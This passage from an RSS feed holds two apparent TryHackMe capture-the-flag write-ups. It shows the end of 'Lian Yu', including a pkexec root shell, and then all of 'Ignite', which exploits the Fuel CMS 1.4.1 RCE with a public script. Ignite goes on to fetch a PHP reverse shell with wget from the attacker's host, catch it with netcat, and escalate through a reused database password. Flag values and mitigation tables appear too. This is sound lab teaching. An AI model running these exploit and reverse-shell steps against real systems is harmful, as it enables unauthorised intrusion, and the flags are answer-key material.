&lt;strong&gt;PNG magic byte repair&lt;/strong&gt; on &lt;code&gt;Leave_me_alone.png&lt;/code&gt; → image confirmed &lt;code&gt;M3tahuman&lt;/code&gt; as SSH password&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH as &lt;code&gt;slade&lt;/code&gt;&lt;/strong&gt; → user flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;sudo pkexec /bin/bash&lt;/code&gt;&lt;/strong&gt; → root shell → root flag&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;vigilante&lt;/code&gt; as a password.&lt;/strong&gt; The word felt like a password the moment it appeared in white text. Anonymous FTP was already blocked, so the obvious next guess was trying &lt;code&gt;vigilante&lt;/code&gt; as both username and password for FTP — no luck. It was the username, with the password buried several more steps down the chain. The box's main misdirection: give you half a credential early and make you work for the other half.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;vigilante&lt;/code&gt; as an SSH login.&lt;/strong&gt; After decoding &lt;code&gt;M3tahuman&lt;/code&gt; from the zip, the first SSH attempt used &lt;code&gt;vigilante&lt;/code&gt; as the username, since it was the known account name from the web page. That failed — &lt;code&gt;vigilante&lt;/code&gt; doesn't appear to have a system account with password auth enabled. Switching to &lt;code&gt;slade&lt;/code&gt; worked immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;Queen's_Gambit.png&lt;/code&gt; steghide dead end.&lt;/strong&gt; This file was run through stegseek and steghide as well. It appeared to contain no hidden data, or at least nothing extractable with rockyou.txt as the passphrase list. The intended path runs only through &lt;code&gt;aa.jpg&lt;/code&gt; and &lt;code&gt;Leave_me_alone.png&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/slade/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credentials hidden in white-on-white text&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Never embed credentials or hints in HTML, even "invisible" ones; source code is always readable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FTP accessible with guessable credentials&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Disable FTP entirely if not needed; if required, enforce strong passwords and restrict by IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sensitive files served over FTP&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Never store credential-bearing files on network-accessible servers; restrict FTP directories strictly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password hidden in steganographic zip with a weak passphrase&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;If steganography must be used, pair it with a strong, unique passphrase&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Corrupted PNG concealing a password hint&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Security through obscurity is not security — file header manipulation delays but does not prevent discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;sudo pkexec /bin/bash&lt;/code&gt; allowed&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Never grant unrestricted &lt;code&gt;pkexec&lt;/code&gt; via &lt;code&gt;sudoers&lt;/code&gt;; restrict it to specific, non-shell-spawning operations if required at all&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;Enumeration isn't just running the same tools with the same flags every time. The key step here was adding &lt;code&gt;.ticket&lt;/code&gt; to Feroxbuster's extension list based on a clue buried in an HTML comment. Paying attention to what the target is telling you — not just what your tools return by default — is what separates a methodical tester from one who gives up at the first dead end.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Lian Yu&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>This Box's Homepage Named Its Own CVE — Ignite (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 13:08:18 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/this-boxs-homepage-named-its-own-cve-ignite-tryhackme-1l6c</link>
      <guid>https://dev.to/cyberfarhan/this-boxs-homepage-named-its-own-cve-ignite-tryhackme-1l6c</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; Fuel CMS RCE / Credential Reuse&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;The page title says "Welcome to FUEL CMS." Not a generic landing page, not a logo with no text — the literal CMS name, in the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag, for anyone running &lt;code&gt;curl&lt;/code&gt; to read. That's either refreshingly honest or a significant operational security failure, and either way it meant I could skip version fingerprinting entirely and go straight to &lt;code&gt;searchsploit&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ignite&lt;/strong&gt; carries a well-documented unauthenticated RCE in Fuel CMS 1.4.1, and once that door opens, the rest of the box leans on a mistake seen constantly in real engagements: a database credential, sitting in plaintext in a configuration file, reused verbatim as the root system password. No clever escalation chain required — just reading a file everyone forgets is sensitive because "it's just a config file."&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.166.110 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.18 (Ubuntu) — "Welcome to FUEL CMS"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A single open port. The HTTP title removes any ambiguity about what's running.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.166.110/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,xt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;301  /fuel             # admin panel root
200  /fuel/login       # login form
302  /fuel/dashboard  →  /fuel/login/&amp;lt;token&amp;gt;   # auth-gated, redirects when unauthenticated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/fuel/&lt;/code&gt; admin structure is fully exposed, confirming the CMS identity. No version number is directly visible on the page, but the title alone is enough to search for known exploits.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;Fuel CMS versions up to and including 1.4.1 contain a flaw in how the application evaluates certain input — an attacker can manipulate request parameters such that arbitrary PHP code is evaluated server-side, without any authentication. This was assigned CVE-2018-16763 and has multiple public proof-of-concept exploits.&lt;/p&gt;

&lt;p&gt;Searching local Exploit-DB mirror for Fuel CMS exploits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;searchsploit fuel cms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Fuel CMS 1.4.1 - Remote Code Execution (1)   linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)   php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)   php/webapps/50477.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copying the third RCE script locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;searchsploit &lt;span class="nt"&gt;-m&lt;/span&gt; php/webapps/50477.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running the exploit against the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python 50477.py &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.166.110
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+]Connecting...
Enter Command $
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An interactive pseudo-shell, command-by-command — not a full reverse shell, but enough to stage one.&lt;/p&gt;

&lt;p&gt;Confirming basic command execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Enter Command $&lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;README.md  assets  composer.json  contributing.md  fuel  index.php  robots.txt

&lt;/span&gt;&lt;span class="gp"&gt;Enter Command $&lt;/span&gt;&lt;span class="nb"&gt;pwd&lt;/span&gt;
&lt;span class="go"&gt;/var/www/html
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;The exploit's pseudo-shell is functional but limited — no interactivity for tools requiring a TTY, no persistence. The standard move: use it to pull down a real PHP reverse shell via &lt;code&gt;wget&lt;/code&gt;, then trigger that file directly over HTTP.&lt;/p&gt;

&lt;p&gt;Serving the PHP reverse shell from the attacking machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Downloading it via the pseudo-shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Enter Command &lt;span class="nv"&gt;$wget&lt;/span&gt; http://192.168.134.217/php-reverse-shell.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The download fired repeatedly (visible as &lt;code&gt;.1&lt;/code&gt;, &lt;code&gt;.2&lt;/code&gt;, &lt;code&gt;.3&lt;/code&gt;... duplicate files in the listing) — the exploit script appears to issue the command multiple times internally, which is harmless here since &lt;code&gt;wget&lt;/code&gt; simply creates incrementing filenames rather than failing.&lt;/p&gt;

&lt;p&gt;Confirming the file landed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Enter Command $ls
... php-reverse-shell.php  php-reverse-shell.php.1  ... php-reverse-shell.php.12 ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Setting up the listener, then triggering the original (non-duplicated) file directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# browser/curl: http://10.49.166.110/php-reverse-shell.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;connect to [192.168.134.217] from (UNKNOWN) [10.49.166.110] 38770
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stabilising:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Collecting the user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/www-data/flag.txt
&lt;span class="c"&gt;# 6470e394cbf6dab6a91682cc8585059b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;Standard CodeIgniter/Fuel CMS structure places database credentials in a predictable config file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/html/fuel/application/config
&lt;span class="nb"&gt;cat &lt;/span&gt;database.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'default'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'hostname'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'username'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'root'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'mememe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'database'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'fuel_schema'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MySQL root password: &lt;code&gt;mememe&lt;/code&gt;. Worth testing immediately against the Linux accounts — database and system credential reuse is depressingly common.&lt;/p&gt;

&lt;p&gt;First attempt — &lt;code&gt;sudo su&lt;/code&gt; with the DB password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;span class="c"&gt;# [sudo] password for www-data: mememe&lt;/span&gt;
&lt;span class="c"&gt;# Sorry, try again. (x3)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;www-data&lt;/code&gt; has no valid &lt;code&gt;sudo&lt;/code&gt; password matching this — expected, since &lt;code&gt;www-data&lt;/code&gt; typically has no interactive login credentials at all.&lt;/p&gt;

&lt;p&gt;Second attempt — &lt;code&gt;su&lt;/code&gt; directly to root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;su
&lt;span class="c"&gt;# Password: mememe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@ubuntu:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
b9bbcb33e11b80be759c4e844862482d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The MySQL root password and the Linux root password are identical.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Page title&lt;/strong&gt; identified Fuel CMS directly; &lt;code&gt;searchsploit&lt;/code&gt; found CVE-2018-16763&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EDB-50477&lt;/strong&gt; exploit → pseudo-shell, no authentication required&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;wget&lt;/code&gt; from pseudo-shell&lt;/strong&gt; → staged a full PHP reverse shell in the webroot&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTP trigger&lt;/strong&gt; → reverse shell as &lt;code&gt;www-data&lt;/code&gt; → user flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;application/config/database.php&lt;/code&gt;&lt;/strong&gt; → MySQL root password &lt;code&gt;mememe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;su&lt;/code&gt; (not &lt;code&gt;sudo su&lt;/code&gt;)&lt;/strong&gt; → password reuse → Linux root → root flag&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo su&lt;/code&gt; before plain &lt;code&gt;su&lt;/code&gt;.&lt;/strong&gt; The first escalation attempt used &lt;code&gt;sudo su&lt;/code&gt;, which failed three times with the correct-looking password. The distinction matters: &lt;code&gt;sudo&lt;/code&gt; asks for the &lt;em&gt;calling user's own&lt;/em&gt; password (here, &lt;code&gt;www-data&lt;/code&gt;, which has no usable interactive password), while &lt;code&gt;su&lt;/code&gt; asks for the &lt;em&gt;target user's&lt;/em&gt; password (&lt;code&gt;root&lt;/code&gt;'s own password). Since the leaked credential was reused as root's actual login password — not as a sudo grant for &lt;code&gt;www-data&lt;/code&gt; — only the second form worked. A useful general reminder: when a found password doesn't work with &lt;code&gt;sudo&lt;/code&gt;, try it with &lt;code&gt;su&lt;/code&gt; before assuming it's the wrong credential entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Duplicate file downloads via the exploit's wget command.&lt;/strong&gt; Running the &lt;code&gt;wget&lt;/code&gt; command once through the pseudo-shell apparently issued the underlying HTTP request multiple times internally (resulting in &lt;code&gt;php-reverse-shell.php.1&lt;/code&gt; through &lt;code&gt;.12&lt;/code&gt;), based on the directory listing immediately afterward. This didn't cause any functional problem — the original un-suffixed file was still valid and triggered the shell correctly — but it's a quirk worth expecting when using this particular exploit script.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;6470e394cbf6dab6a91682cc8585059b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/www-data/flag.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;b9bbcb33e11b80be759c4e844862482d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Fuel CMS 1.4.1 unauthenticated RCE (CVE-2018-16763)&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Update Fuel CMS to a patched release; subscribe to CMS-specific security advisories&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CMS identity disclosed directly in page title&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Avoid exposing exact CMS name/version in publicly visible page metadata where avoidable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database credentials stored in plaintext config file&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Use environment variables or a secrets manager for database credentials rather than committing them to a readable PHP config file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database root password reused as system root password&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Never reuse credentials across different privilege boundaries (database vs. OS); use unique, randomly generated passwords for each&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;When a discovered credential fails against &lt;code&gt;sudo&lt;/code&gt;, try it against &lt;code&gt;su&lt;/code&gt; before discarding it — the two commands check entirely different passwords (the caller's vs. the target account's), and a credential leaked from an application config file is far more likely to match a direct account password than a &lt;code&gt;sudo&lt;/code&gt; grant for an unrelated service account.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Ignite&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
  </channel>
</rss>
